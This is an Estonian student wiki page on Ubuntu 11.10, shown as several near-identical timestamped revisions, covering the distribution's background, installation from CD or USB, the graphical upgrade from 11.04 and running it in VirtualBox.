* Kui on aega ja kannatust, siis on võimalik Ubuntu plaat tellida aadressilt: http://www.ubuntu.com/download/ubuntu/cds , CD toimetatakse kätte posti teel.

Ubuntu 11.10

2011-11-25T16:32:39Z

Gratsep:

Teema: Gertti-Vena Rätsep A-21 (2011 sügis)
=Ubuntu 11.10=

Koostamisel

==Ubuntust üldiselt==

Ubuntu Linux on Linuxi distributsioon, mis kasutab Debiani paketihaldust ja mis on kasutamise lihtsustamiseks teinud kindla programmide valiku: üks aknahaldur – Unity, üks veebilehitseja – Firefox, üks meiliprogramm – Thunderbird jne. Seetõttu mahub Ubuntu Linux ära ühe CD peale. Samas on võimalik kasutada enamikke Debiani jaoks väljalastud pakke oma lemmikprogrammi installimiseks. Võimalik on kasutada nii tasuta kommuuni toetust kui ka erinevaid tasulisi tugikanaleid.

Ubuntu on suulu ja koosa keeltest pärinev sõna, mida tõlgitakse kui "inimlikkus teiste suhtes", usk kõigi inimeste seotusse/ühtsusse. Ning Ubuntu Linux püüab samu põhimõtteid järgida ka tarkvara loomisel. Ubuntu arendajate meelest peab tarkvara olema tasuta, ta peab olema kasutajate oma keeles ja kasutajatel peab olema võimalus muuta tarkvara vastavalt oma äranägemisele.

Ubuntut on hinnatud kui kõige populaarsemat Linuxi distributsiooni, mida pruukis juba 2007. aastal umbes 30% kõigist Linuxi kasutajatest

==Ubuntu 11.04 vs 11.10==

[[File:04vs10.jpg]]
x.y - Ebastabiilne alfa, beeta või lõppversiooni väljalase.

x.y.z - Viitab tarkvarale, mis ei ole vaikimisi installitud.

Iga Ubuntu väljalaske (näiteks Ubuntu 11.10) 11 tähendab 2011 aastat ja 10 tähendab kümnendat kuud. Ehk siis Ubuntu 11.10 on ametlikult välja lastud 2011 oktoober.

'' x.y* – Non-stable alpha, beta or release candidate version. ''

'' x.y.z – Indicates an application not installed by default.''

''Each Ubuntu release follows the release of a new GNOME desktop environment version by a month.''

==Kuidas paigaldada Ubuntu 11.10==

Kõige uuema distributsiooni alla laadimiseks vajuta suurt nuppu mille peal on kiri "''Start download''". Ubuntu 11.10 installimiseks on vaja kas CD'd või USB pulka.

Ubuntu pikaajalise toega (''long-term support'') distributsioonid on 3 aastase kasutajatoega. See sobib hästi neile kellel on vaja stabiilsemat platformi.

[[File:gvrub1.jpg]]

Kui alla laadimine on lõppenud siis peab looma buutivata (''bootable'') CD või USB pulga.
Miks on CD vajalik?
Buuditava CD loomine annam võimaluse proovida Ubuntut ilma seda installimata. Nii on võimalik Ubuntut installida või lihtsalt CD'lt buutida ja kasutada siis kui vaja.

[[File:gvub2.jpg]]

Ubuntut on võimalik proovida ilma installimata. Kui buuditav CD või USB pulk on valmis, siis saab buutida otse CD'lt või USB pulgalt ilma, et peaks oma arvuti sätteid muutma.

[[File:gvrub3.jpg]]

Kui buuditav CD või USB pulk on valmis tuleb see lihtsalt arvutiga ühendada, arvuti taaskäivitada ning kuvatavaid instruktsioone jälgida.

[[File:gvrub4.jpg]]

*http://www.ubuntu.com/download/ubuntu/download aadressil vajutades nuppu ''Show me how" kuvatakse detailne juhend kuidas buuditavat CD'd või UDB pulka luua. Kõigi nelja punkti kohta on lisajuhend - kuidas patritsioone teha jne.

==Kuidas 11.04 üle minna 11.10 peale ('''upgrade''')==

Ava ''Update Manager (System > Administration > Update Manager): ''

''Start the Update Manager (System > Administration > Update Manager):''

[[File:gvr1.jpg]]

''Update Manager'' peaks näitama, et uus distributsioon (11.10) on väljas. Kliki ''Upgrade'' nupule, et alustada distributsioni uuendust.

''The Update Manager should show that a new distribution release (11.10) is available. Click on the Upgrade button to start the distribution upgrade:''

[[File:gvr2.jpg]]

Kuvatakse uus aken Ubuntu 11.10 informatiooniga. Kliki uuesti ''Upgrade'' nupule.

''A window with the release notes for 11.10 comes up. Click on Upgrade again:''

[[File:gvr3.jpg]]

Distributsiooni uuendamise vahendid laetakse alla. Peale seda sisesta oma parool:

''The upgrade tool is now being downloaded. Afterwards, type in your password:''

[[File:gvr4.jpg]]

Distributsiooni uuemdamine valmistatakse ette:

''The upgrade is being prepared:''

[[File:gvr5.jpg]]

Kliki ''Start Upgrade '', et alustada uuendamise protsessiga.

''Click on Start Upgrade to finally begin with the upgrade process:''

[[File:gvr6.jpg]]

UUendusi laetakse alla...

''The upgrade packages are now being downloaded...''

[[File:gvr7.jpg]]

... ja installitakse. See võib aega võtta - varu selleks aega.

''... and installed. This can take some time, so please be patient.''

[[File:gvr8.jpg]]

Uuendamise protsessi lõpus peaks vanad paketid ära kustutama.

''At the end of the upgrade process, you should remove obsolete packages:''

[[File:gvr9.jpg]]

[[File:gvr10.jpg]]

Uuenduste läbiviimiseks on vajalik arvuti taaskäivitamine. Seega vajuta ''Restart Now:''

''The system needs to be rebooted to complete the upgrade, therefore click on Restart Now:''

[[File:gvr11.jpg]]

Sisse logides kuvab Ubuntu 11.10 vaikimisi uue Unity teema (''desptopi'')

''When you log in, Ubuntu 11.10 will by default start the new Unity desktop:''

[[File:gvr12.jpg]]

Tere tulemast uude Ubuntu 11.10!

''Welcome to your new your new Ubuntu 11.10 desktop:''

[[File:gvr13.jpg]]

==Kui siiski ei taha oma arvuti kõvakettale uut partitsiooni teha...==

Kõige lihtsam viis on luua virtuaalmasin.
Aadressilt http://www.ubuntu.com/download/ubuntu/download lae alla oma arvutile vastav ISO fail.

Aadressilt https://www.virtualbox.org/wiki/Downloads lae alla VirtualBox.

Aadressilt https://www.virtualbox.org/manual/ch01.html#idp7595344 jälgi täpseid juhiseid kuidas luua uut virtuaalmasinat.

Kui virtuaalmasin loodud siis edaspidine on juba lihtne. Ubuntu konfigureerimine on mugav ja kerge. Siiski juhend selleks: http://www.ubuntu.com/download/ubuntu/download --> ''Install it!''

== Kasutatud materjalid ==

Ubuntust üldiselt:

http://et.wikipedia.org/wiki/Ubuntu

Kuidas 11.04 üle minna 11.10 peale ('''upgrade'''):

http://www.howtoforge.com/how-to-upgrade-ubuntu-11.04-natty-narwhal-to-11.10-oneiric-ocelot-desktop-and-

Kuidas paigaldada Ubuntu 11.10:

http://www.ubuntu.com/download/ubuntu/download

Virtualboxi juhendid:

https://www.virtualbox.org/manual/ch01.html#idp7595344

*Juhendid tõlkis eesti keelde autor.
* Kui on aega ja kannatust, siis on võimalik Ubuntu plaat tellida aadressilt: http://www.ubuntu.com/download/ubuntu/cds , CD toimetatakse kätte posti teel.

Ubuntu 11.10

2011-11-25T16:31:21Z

Gratsep:

Teema: Gertti-Vena Rätsep A-21 (2011 sügis)
=Ubuntu 11.10=

Koostamisel

==Ubuntust üldiselt==

Ubuntu Linux on Linuxi distributsioon, mis kasutab Debiani paketihaldust ja mis on kasutamise lihtsustamiseks teinud kindla programmide valiku: üks aknahaldur – Unity, üks veebilehitseja – Firefox, üks meiliprogramm – Thunderbird jne. Seetõttu mahub Ubuntu Linux ära ühe CD peale. Samas on võimalik kasutada enamikke Debiani jaoks väljalastud pakke oma lemmikprogrammi installimiseks. Võimalik on kasutada nii tasuta kommuuni toetust kui ka erinevaid tasulisi tugikanaleid.

Ubuntu on suulu ja koosa keeltest pärinev sõna, mida tõlgitakse kui "inimlikkus teiste suhtes", usk kõigi inimeste seotusse/ühtsusse. Ning Ubuntu Linux püüab samu põhimõtteid järgida ka tarkvara loomisel. Ubuntu arendajate meelest peab tarkvara olema tasuta, ta peab olema kasutajate oma keeles ja kasutajatel peab olema võimalus muuta tarkvara vastavalt oma äranägemisele.

Ubuntut on hinnatud kui kõige populaarsemat Linuxi distributsiooni, mida pruukis juba 2007. aastal umbes 30% kõigist Linuxi kasutajatest

==Ubuntu 11.04 vs 11.10==

[[File:04vs10.jpg]]
x.y - Ebastabiilne alfa, beeta või lõppversiooni väljalase.

x.y.z - Viitab tarkvarale, mis ei ole vaikimisi installitud.

Iga Ubuntu väljalaske (näiteks Ubuntu 11.10) 11 tähendab 2011 aastat ja 10 tähendab kümnendat kuud. Ehk siis Ubuntu 11.10 on ametlikult välja lastud 2011 oktoober.

'' x.y* – Non-stable alpha, beta or release candidate version.

x.y.z – Indicates an application not installed by default.

Each Ubuntu release follows the release of a new GNOME desktop environment version by a month.''

==Kuidas paigaldada Ubuntu 11.10==

Kõige uuema distributsiooni alla laadimiseks vajuta suurt nuppu mille peal on kiri "''Start download''". Ubuntu 11.10 installimiseks on vaja kas CD'd või USB pulka.

Ubuntu pikaajalise toega (''long-term support'') distributsioonid on 3 aastase kasutajatoega. See sobib hästi neile kellel on vaja stabiilsemat platformi.

[[File:gvrub1.jpg]]

Kui alla laadimine on lõppenud siis peab looma buutivata (''bootable'') CD või USB pulga.
Miks on CD vajalik?
Buuditava CD loomine annam võimaluse proovida Ubuntut ilma seda installimata. Nii on võimalik Ubuntut installida või lihtsalt CD'lt buutida ja kasutada siis kui vaja.

[[File:gvub2.jpg]]

Ubuntut on võimalik proovida ilma installimata. Kui buuditav CD või USB pulk on valmis, siis saab buutida otse CD'lt või USB pulgalt ilma, et peaks oma arvuti sätteid muutma.

[[File:gvrub3.jpg]]

Kui buuditav CD või USB pulk on valmis tuleb see lihtsalt arvutiga ühendada, arvuti taaskäivitada ning kuvatavaid instruktsioone jälgida.

[[File:gvrub4.jpg]]

*http://www.ubuntu.com/download/ubuntu/download aadressil vajutades nuppu ''Show me how" kuvatakse detailne juhend kuidas buuditavat CD'd või UDB pulka luua. Kõigi nelja punkti kohta on lisajuhend - kuidas patritsioone teha jne.

==Kuidas 11.04 üle minna 11.10 peale ('''upgrade''')==

Ava ''Update Manager (System > Administration > Update Manager): ''

''Start the Update Manager (System > Administration > Update Manager):''

[[File:gvr1.jpg]]

''Update Manager'' peaks näitama, et uus distributsioon (11.10) on väljas. Kliki ''Upgrade'' nupule, et alustada distributsioni uuendust.

''The Update Manager should show that a new distribution release (11.10) is available. Click on the Upgrade button to start the distribution upgrade:''

[[File:gvr2.jpg]]

Kuvatakse uus aken Ubuntu 11.10 informatiooniga. Kliki uuesti ''Upgrade'' nupule.

''A window with the release notes for 11.10 comes up. Click on Upgrade again:''

[[File:gvr3.jpg]]

Distributsiooni uuendamise vahendid laetakse alla. Peale seda sisesta oma parool:

''The upgrade tool is now being downloaded. Afterwards, type in your password:''

[[File:gvr4.jpg]]

Distributsiooni uuemdamine valmistatakse ette:

''The upgrade is being prepared:''

[[File:gvr5.jpg]]

Kliki ''Start Upgrade '', et alustada uuendamise protsessiga.

''Click on Start Upgrade to finally begin with the upgrade process:''

[[File:gvr6.jpg]]

UUendusi laetakse alla...

''The upgrade packages are now being downloaded...''

[[File:gvr7.jpg]]

... ja installitakse. See võib aega võtta - varu selleks aega.

''... and installed. This can take some time, so please be patient.''

[[File:gvr8.jpg]]

Uuendamise protsessi lõpus peaks vanad paketid ära kustutama.

''At the end of the upgrade process, you should remove obsolete packages:''

[[File:gvr9.jpg]]

[[File:gvr10.jpg]]

Uuenduste läbiviimiseks on vajalik arvuti taaskäivitamine. Seega vajuta ''Restart Now:''

''The system needs to be rebooted to complete the upgrade, therefore click on Restart Now:''

[[File:gvr11.jpg]]

Sisse logides kuvab Ubuntu 11.10 vaikimisi uue Unity teema (''desptopi'')

''When you log in, Ubuntu 11.10 will by default start the new Unity desktop:''

[[File:gvr12.jpg]]

Tere tulemast uude Ubuntu 11.10!

''Welcome to your new your new Ubuntu 11.10 desktop:''

[[File:gvr13.jpg]]

==Kui siiski ei taha oma arvuti kõvakettale uut partitsiooni teha...==

Kõige lihtsam viis on luua virtuaalmasin.
Aadressilt http://www.ubuntu.com/download/ubuntu/download lae alla oma arvutile vastav ISO fail.

Aadressilt https://www.virtualbox.org/wiki/Downloads lae alla VirtualBox.

Aadressilt https://www.virtualbox.org/manual/ch01.html#idp7595344 jälgi täpseid juhiseid kuidas luua uut virtuaalmasinat.

Kui virtuaalmasin loodud siis edaspidine on juba lihtne. Ubuntu konfigureerimine on mugav ja kerge. Siiski juhend selleks: http://www.ubuntu.com/download/ubuntu/download --> ''Install it!''

== Kasutatud materjalid ==

Ubuntust üldiselt:

http://et.wikipedia.org/wiki/Ubuntu

Kuidas 11.04 üle minna 11.10 peale ('''upgrade'''):

http://www.howtoforge.com/how-to-upgrade-ubuntu-11.04-natty-narwhal-to-11.10-oneiric-ocelot-desktop-and-

Kuidas paigaldada Ubuntu 11.10:

http://www.ubuntu.com/download/ubuntu/download

Virtualboxi juhendid:

https://www.virtualbox.org/manual/ch01.html#idp7595344

*Juhendid tõlkis eesti keelde autor.
* Kui on aega ja kannatust, siis on võimalik Ubuntu plaat tellida aadressilt: http://www.ubuntu.com/download/ubuntu/cds , CD toimetatakse kätte posti teel.

File:04vs10.jpg

2011-11-25T16:25:17Z

Gratsep:

Ubuntu 11.10

2011-11-25T16:15:18Z

Gratsep:

Teema: Gertti-Vena Rätsep A-21 (2011 sügis)
=Ubuntu 11.10=

Koostamisel

==Ubuntust üldiselt==

Ubuntu Linux on Linuxi distributsioon, mis kasutab Debiani paketihaldust ja mis on kasutamise lihtsustamiseks teinud kindla programmide valiku: üks aknahaldur – Unity, üks veebilehitseja – Firefox, üks meiliprogramm – Thunderbird jne. Seetõttu mahub Ubuntu Linux ära ühe CD peale. Samas on võimalik kasutada enamikke Debiani jaoks väljalastud pakke oma lemmikprogrammi installimiseks. Võimalik on kasutada nii tasuta kommuuni toetust kui ka erinevaid tasulisi tugikanaleid.

Ubuntu on suulu ja koosa keeltest pärinev sõna, mida tõlgitakse kui "inimlikkus teiste suhtes", usk kõigi inimeste seotusse/ühtsusse. Ning Ubuntu Linux püüab samu põhimõtteid järgida ka tarkvara loomisel. Ubuntu arendajate meelest peab tarkvara olema tasuta, ta peab olema kasutajate oma keeles ja kasutajatel peab olema võimalus muuta tarkvara vastavalt oma äranägemisele.

Ubuntut on hinnatud kui kõige populaarsemat Linuxi distributsiooni, mida pruukis juba 2007. aastal umbes 30% kõigist Linuxi kasutajatest

==Ubuntu 11.04 vs 11.10==

==Kuidas paigaldada Ubuntu 11.10==

Kõige uuema distributsiooni alla laadimiseks vajuta suurt nuppu mille peal on kiri "''Start download''". Ubuntu 11.10 installimiseks on vaja kas CD'd või USB pulka.

Ubuntu pikaajalise toega (''long-term support'') distributsioonid on 3 aastase kasutajatoega. See sobib hästi neile kellel on vaja stabiilsemat platformi.

[[File:gvrub1.jpg]]

Kui alla laadimine on lõppenud siis peab looma buutivata (''bootable'') CD või USB pulga.
Miks on CD vajalik?
Buuditava CD loomine annam võimaluse proovida Ubuntut ilma seda installimata. Nii on võimalik Ubuntut installida või lihtsalt CD'lt buutida ja kasutada siis kui vaja.

[[File:gvub2.jpg]]

Ubuntut on võimalik proovida ilma installimata. Kui buuditav CD või USB pulk on valmis, siis saab buutida otse CD'lt või USB pulgalt ilma, et peaks oma arvuti sätteid muutma.

[[File:gvrub3.jpg]]

Kui buuditav CD või USB pulk on valmis tuleb see lihtsalt arvutiga ühendada, arvuti taaskäivitada ning kuvatavaid instruktsioone jälgida.

[[File:gvrub4.jpg]]

*http://www.ubuntu.com/download/ubuntu/download aadressil vajutades nuppu ''Show me how" kuvatakse detailne juhend kuidas buuditavat CD'd või UDB pulka luua. Kõigi nelja punkti kohta on lisajuhend - kuidas patritsioone teha jne.

==Kuidas 11.04 üle minna 11.10 peale ('''upgrade''')==

Ava ''Update Manager (System > Administration > Update Manager): ''

''Start the Update Manager (System > Administration > Update Manager):''

[[File:gvr1.jpg]]

''Update Manager'' peaks näitama, et uus distributsioon (11.10) on väljas. Kliki ''Upgrade'' nupule, et alustada distributsioni uuendust.

''The Update Manager should show that a new distribution release (11.10) is available. Click on the Upgrade button to start the distribution upgrade:''

[[File:gvr2.jpg]]

Kuvatakse uus aken Ubuntu 11.10 informatiooniga. Kliki uuesti ''Upgrade'' nupule.

''A window with the release notes for 11.10 comes up. Click on Upgrade again:''

[[File:gvr3.jpg]]

Distributsiooni uuendamise vahendid laetakse alla. Peale seda sisesta oma parool:

''The upgrade tool is now being downloaded. Afterwards, type in your password:''

[[File:gvr4.jpg]]

Distributsiooni uuemdamine valmistatakse ette:

''The upgrade is being prepared:''

[[File:gvr5.jpg]]

Kliki ''Start Upgrade '', et alustada uuendamise protsessiga.

''Click on Start Upgrade to finally begin with the upgrade process:''

[[File:gvr6.jpg]]

UUendusi laetakse alla...

''The upgrade packages are now being downloaded...''

[[File:gvr7.jpg]]

... ja installitakse. See võib aega võtta - varu selleks aega.

''... and installed. This can take some time, so please be patient.''

[[File:gvr8.jpg]]

Uuendamise protsessi lõpus peaks vanad paketid ära kustutama.

''At the end of the upgrade process, you should remove obsolete packages:''

[[File:gvr9.jpg]]

[[File:gvr10.jpg]]

Uuenduste läbiviimiseks on vajalik arvuti taaskäivitamine. Seega vajuta ''Restart Now:''

''The system needs to be rebooted to complete the upgrade, therefore click on Restart Now:''

[[File:gvr11.jpg]]

Sisse logides kuvab Ubuntu 11.10 vaikimisi uue Unity teema (''desptopi'')

''When you log in, Ubuntu 11.10 will by default start the new Unity desktop:''

[[File:gvr12.jpg]]

Tere tulemast uude Ubuntu 11.10!

''Welcome to your new your new Ubuntu 11.10 desktop:''

[[File:gvr13.jpg]]

==Kui siiski ei taha oma arvuti kõvakettale uut partitsiooni teha...==

Kõige lihtsam viis on luua virtuaalmasin.
Aadressilt http://www.ubuntu.com/download/ubuntu/download lae alla oma arvutile vastav ISO fail.

Aadressilt https://www.virtualbox.org/wiki/Downloads lae alla VirtualBox.

Aadressilt https://www.virtualbox.org/manual/ch01.html#idp7595344 jälgi täpseid juhiseid kuidas luua uut virtuaalmasinat.

Kui virtuaalmasin loodud siis edaspidine on juba lihtne. Ubuntu konfigureerimine on mugav ja kerge. Siiski juhend selleks: http://www.ubuntu.com/download/ubuntu/download --> ''Install it!''

== Kasutatud materjalid ==

Ubuntust üldiselt:

http://et.wikipedia.org/wiki/Ubuntu

Kuidas 11.04 üle minna 11.10 peale ('''upgrade'''):

http://www.howtoforge.com/how-to-upgrade-ubuntu-11.04-natty-narwhal-to-11.10-oneiric-ocelot-desktop-and-

Kuidas paigaldada Ubuntu 11.10:

http://www.ubuntu.com/download/ubuntu/download

Virtualboxi juhendid:

https://www.virtualbox.org/manual/ch01.html#idp7595344

*Juhendid tõlkis eesti keelde autor.
* Kui on aega ja kannatust, siis on võimalik Ubuntu plaat tellida aadressilt: http://www.ubuntu.com/download/ubuntu/cds , CD toimetatakse kätte posti teel.

Ubuntu 11.10

2011-11-25T16:14:13Z

Gratsep:

Teema: Gertti-Vena Rätsep A-21 (2011 sügis)
=Ubuntu 11.10=

Koostamisel

==Ubuntust üldiselt==

Ubuntu Linux on Linuxi distributsioon, mis kasutab Debiani paketihaldust ja mis on kasutamise lihtsustamiseks teinud kindla programmide valiku: üks aknahaldur – Unity, üks veebilehitseja – Firefox, üks meiliprogramm – Thunderbird jne. Seetõttu mahub Ubuntu Linux ära ühe CD peale. Samas on võimalik kasutada enamikke Debiani jaoks väljalastud pakke oma lemmikprogrammi installimiseks. Võimalik on kasutada nii tasuta kommuuni toetust kui ka erinevaid tasulisi tugikanaleid.

Ubuntu on suulu ja koosa keeltest pärinev sõna, mida tõlgitakse kui "inimlikkus teiste suhtes", usk kõigi inimeste seotusse/ühtsusse. Ning Ubuntu Linux püüab samu põhimõtteid järgida ka tarkvara loomisel. Ubuntu arendajate meelest peab tarkvara olema tasuta, ta peab olema kasutajate oma keeles ja kasutajatel peab olema võimalus muuta tarkvara vastavalt oma äranägemisele.

Ubuntut on hinnatud kui kõige populaarsemat Linuxi distributsiooni, mida pruukis juba 2007. aastal umbes 30% kõigist Linuxi kasutajatest

==Ubuntu 11.04 vs 11.10==

==Kuidas paigaldada Ubuntu 11.10==

Kõige uuema distributsiooni alla laadimiseks vajuta suurt nuppu mille peal on kiri "''Start download''". Ubuntu 11.10 installimiseks on vaja kas CD'd või USB pulka.

Ubuntu pikaajalise toega (''long-term support'') distributsioonid on 3 aastase kasutajatoega. See sobib hästi neile kellel on vaja stabiilsemat platformi.

[[File:gvrub1.jpg]]

Kui alla laadimine on lõppenud siis peab looma buutivata (''bootable'') CD või USB pulga.
Miks on CD vajalik?
Buuditava CD loomine annam võimaluse proovida Ubuntut ilma seda installimata. Nii on võimalik Ubuntut installida või lihtsalt CD'lt buutida ja kasutada siis kui vaja.

[[File:gvub2.jpg]]

Ubuntut on võimalik proovida ilma installimata. Kui buuditav CD või USB pulk on valmis, siis saab buutida otse CD'lt või USB pulgalt ilma, et peaks oma arvuti sätteid muutma.

[[File:gvrub3.jpg]]

Kui buuditav CD või USB pulk on valmis tuleb see lihtsalt arvutiga ühendada, arvuti taaskäivitada ning kuvatavaid instruktsioone jälgida.

[[File:gvrub4.jpg]]

*http://www.ubuntu.com/download/ubuntu/download aadressil vajutades nuppu ''Show me how" kuvatakse detailne juhend kuidas buuditavat CD'd või UDB pulka luua. Kõigi nelja punkti kohta on lisajuhend - kuidas patritsioone teha jne.

==Kuidas 11.04 üle minna 11.10 peale ('''upgrade''')==

Ava ''Update Manager (System > Administration > Update Manager): ''

''Start the Update Manager (System > Administration > Update Manager):''

[[File:gvr1.jpg]]

''Update Manager'' peaks näitama, et uus distributsioon (11.10) on väljas. Kliki ''Upgrade'' nupule, et alustada distributsioni uuendust.

''The Update Manager should show that a new distribution release (11.10) is available. Click on the Upgrade button to start the distribution upgrade:''

[[File:gvr2.jpg]]

Kuvatakse uus aken Ubuntu 11.10 informatiooniga. Kliki uuesti ''Upgrade'' nupule.

''A window with the release notes for 11.10 comes up. Click on Upgrade again:''

[[File:gvr3.jpg]]

Distributsiooni uuendamise vahendid laetakse alla. Peale seda sisesta oma parool:

''The upgrade tool is now being downloaded. Afterwards, type in your password:''

[[File:gvr4.jpg]]

Distributsiooni uuemdamine valmistatakse ette:

''The upgrade is being prepared:''

[[File:gvr5.jpg]]

Kliki ''Start Upgrade '', et alustada uuendamise protsessiga.

''Click on Start Upgrade to finally begin with the upgrade process:''

[[File:gvr6.jpg]]

UUendusi laetakse alla...

''The upgrade packages are now being downloaded...''

[[File:gvr7.jpg]]

... ja installitakse. See võib aega võtta - varu selleks aega.

''... and installed. This can take some time, so please be patient.''

[[File:gvr8.jpg]]

Uuendamise protsessi lõpus peaks vanad paketid ära kustutama.

''At the end of the upgrade process, you should remove obsolete packages:''

[[File:gvr9.jpg]]

[[File:gvr10.jpg]]

Uuenduste läbiviimiseks on vajalik arvuti taaskäivitamine. Seega vajuta ''Restart Now:''

''The system needs to be rebooted to complete the upgrade, therefore click on Restart Now:''

[[File:gvr11.jpg]]

Sisse logides kuvab Ubuntu 11.10 vaikimisi uue Unity teema (''desptopi'')

''When you log in, Ubuntu 11.10 will by default start the new Unity desktop:''

[[File:gvr12.jpg]]

Tere tulemast uude Ubuntu 11.10!

''Welcome to your new your new Ubuntu 11.10 desktop:''

[[File:gvr13.jpg]]

==Kui siiski ei taha oma arvuti kõvakettale uut partitsiooni teha...==

Kõige lihtsam viis on luua virtuaalmasin.
Aadressilt http://www.ubuntu.com/download/ubuntu/download lae alla oma arvutile vastav ISO fail.

Aadressilt https://www.virtualbox.org/wiki/Downloads lae alla VirtualBox.

Aadressilt https://www.virtualbox.org/manual/ch01.html#idp7595344 jälgi täpseid juhiseid kuidas luua uut virtuaalmasinat.

Kui virtuaalmasin loodud siis edaspidine on juba lihtne. Ubuntu konfigureerimine on mugav ja kerge. Siiski juhend selleks: http://www.ubuntu.com/download/ubuntu/download --> ''Install it!''

==Kuidas varasemalt kui 11.04 üle minna 11.10 peale ('''upgrade''')==

== Kasutatud materjalid ==

Ubuntust üldiselt:

http://et.wikipedia.org/wiki/Ubuntu

Kuidas 11.04 üle minna 11.10 peale ('''upgrade'''):

http://www.howtoforge.com/how-to-upgrade-ubuntu-11.04-natty-narwhal-to-11.10-oneiric-ocelot-desktop-and-

Kuidas paigaldada Ubuntu 11.10:

http://www.ubuntu.com/download/ubuntu/download

Virtualboxi juhendid:

https://www.virtualbox.org/manual/ch01.html#idp7595344

*Juhendid tõlkis eesti keelde autor.
* Kui on aega ja kannatust, siis on võimalik Ubuntu plaat tellida aadressilt: http://www.ubuntu.com/download/ubuntu/cds , CD toimetatakse kätte posti teel.

Ubuntu 11.10

2011-11-25T16:13:25Z

Gratsep:

Teema: Gertti-Vena Rätsep A-21 (2011 sügis)
=Ubuntu 11.10=

Koostamisel

==Ubuntust üldiselt==

Ubuntu Linux on Linuxi distributsioon, mis kasutab Debiani paketihaldust ja mis on kasutamise lihtsustamiseks teinud kindla programmide valiku: üks aknahaldur – Unity, üks veebilehitseja – Firefox, üks meiliprogramm – Thunderbird jne. Seetõttu mahub Ubuntu Linux ära ühe CD peale. Samas on võimalik kasutada enamikke Debiani jaoks väljalastud pakke oma lemmikprogrammi installimiseks. Võimalik on kasutada nii tasuta kommuuni toetust kui ka erinevaid tasulisi tugikanaleid.

Ubuntu on suulu ja koosa keeltest pärinev sõna, mida tõlgitakse kui "inimlikkus teiste suhtes", usk kõigi inimeste seotusse/ühtsusse. Ning Ubuntu Linux püüab samu põhimõtteid järgida ka tarkvara loomisel. Ubuntu arendajate meelest peab tarkvara olema tasuta, ta peab olema kasutajate oma keeles ja kasutajatel peab olema võimalus muuta tarkvara vastavalt oma äranägemisele.

Ubuntut on hinnatud kui kõige populaarsemat Linuxi distributsiooni, mida pruukis juba 2007. aastal umbes 30% kõigist Linuxi kasutajatest

==Ubuntu 11.04 vs 11.10==

==Kuidas paigaldada Ubuntu 11.10==

Kõige uuema distributsiooni alla laadimiseks vajuta suurt nuppu mille peal on kiri "''Start download''". Ubuntu 11.10 installimiseks on vaja kas CD'd või USB pulka.

Ubuntu pikaajalise toega (''long-term support'') distributsioonid on 3 aastase kasutajatoega. See sobib hästi neile kellel on vaja stabiilsemat platformi.

[[File:gvrub1.jpg]]

Kui alla laadimine on lõppenud siis peab looma buutivata (''bootable'') CD või USB pulga.
Miks on CD vajalik?
Buuditava CD loomine annam võimaluse proovida Ubuntut ilma seda installimata. Nii on võimalik Ubuntut installida või lihtsalt CD'lt buutida ja kasutada siis kui vaja.

[[File:gvub2.jpg]]

Ubuntut on võimalik proovida ilma installimata. Kui buuditav CD või USB pulk on valmis, siis saab buutida otse CD'lt või USB pulgalt ilma, et peaks oma arvuti sätteid muutma.

[[File:gvrub3.jpg]]

Kui buuditav CD või USB pulk on valmis tuleb see lihtsalt arvutiga ühendada, arvuti taaskäivitada ning kuvatavaid instruktsioone jälgida.

[[File:gvrub4.jpg]]

*http://www.ubuntu.com/download/ubuntu/download aadressil vajutades nuppu ''Show me how" kuvatakse detailne juhend kuidas buuditavat CD'd või UDB pulka luua. Kõigi nelja punkti kohta on lisajuhend - kuidas patritsioone teha jne.

==Kuidas 11.04 üle minna 11.10 peale ('''upgrade''')==

Ava ''Update Manager (System > Administration > Update Manager): ''

''Start the Update Manager (System > Administration > Update Manager):''

[[File:gvr1.jpg]]

''Update Manager'' peaks näitama, et uus distributsioon (11.10) on väljas. Kliki ''Upgrade'' nupule, et alustada distributsioni uuendust.

''The Update Manager should show that a new distribution release (11.10) is available. Click on the Upgrade button to start the distribution upgrade:''

[[File:gvr2.jpg]]

Kuvatakse uus aken Ubuntu 11.10 informatiooniga. Kliki uuesti ''Upgrade'' nupule.

''A window with the release notes for 11.10 comes up. Click on Upgrade again:''

[[File:gvr3.jpg]]

Distributsiooni uuendamise vahendid laetakse alla. Peale seda sisesta oma parool:

''The upgrade tool is now being downloaded. Afterwards, type in your password:''

[[File:gvr4.jpg]]

Distributsiooni uuemdamine valmistatakse ette:

''The upgrade is being prepared:''

[[File:gvr5.jpg]]

Kliki ''Start Upgrade '', et alustada uuendamise protsessiga.

''Click on Start Upgrade to finally begin with the upgrade process:''

[[File:gvr6.jpg]]

UUendusi laetakse alla...

''The upgrade packages are now being downloaded...''

[[File:gvr7.jpg]]

... ja installitakse. See võib aega võtta - varu selleks aega.

''... and installed. This can take some time, so please be patient.''

[[File:gvr8.jpg]]

Uuendamise protsessi lõpus peaks vanad paketid ära kustutama.

''At the end of the upgrade process, you should remove obsolete packages:''

[[File:gvr9.jpg]]

[[File:gvr10.jpg]]

Uuenduste läbiviimiseks on vajalik arvuti taaskäivitamine. Seega vajuta ''Restart Now:''

''The system needs to be rebooted to complete the upgrade, therefore click on Restart Now:''

[[File:gvr11.jpg]]

Sisse logides kuvab Ubuntu 11.10 vaikimisi uue Unity teema (''desptopi'')

''When you log in, Ubuntu 11.10 will by default start the new Unity desktop:''

[[File:gvr12.jpg]]

Tere tulemast uude Ubuntu 11.10!

''Welcome to your new your new Ubuntu 11.10 desktop:''

[[File:gvr13.jpg]]

==Kui siiski ei taha oma arvuti kõvakettale uut partitsiooni teha...==

Kõige lihtsam viis on luua virtuaalmasin.
Aadressilt http://www.ubuntu.com/download/ubuntu/download lae alla oma arvutile vastav ISO fail.
Aadressilt https://www.virtualbox.org/wiki/Downloads lae alla VirtualBox.
Aadressilt https://www.virtualbox.org/manual/ch01.html#idp7595344 jälgi täpseid juhiseid kuidas luua uut virtuaalmasinat.
Kui virtuaalmasin loodud siis edaspidine on juba lihtne. Ubuntu konfigureerimine on mugav ja kerge. Siiski juhend selleks: http://www.ubuntu.com/download/ubuntu/download --> ''Install it!''

==Kuidas varasemalt kui 11.04 üle minna 11.10 peale ('''upgrade''')==

== Kasutatud materjalid ==

Ubuntust üldiselt:

http://et.wikipedia.org/wiki/Ubuntu

Kuidas 11.04 üle minna 11.10 peale ('''upgrade'''):

http://www.howtoforge.com/how-to-upgrade-ubuntu-11.04-natty-narwhal-to-11.10-oneiric-ocelot-desktop-and-

Kuidas paigaldada Ubuntu 11.10:

http://www.ubuntu.com/download/ubuntu/download

Virtualboxi juhendid:

https://www.virtualbox.org/manual/ch01.html#idp7595344

*Juhendid tõlkis eesti keelde autor.
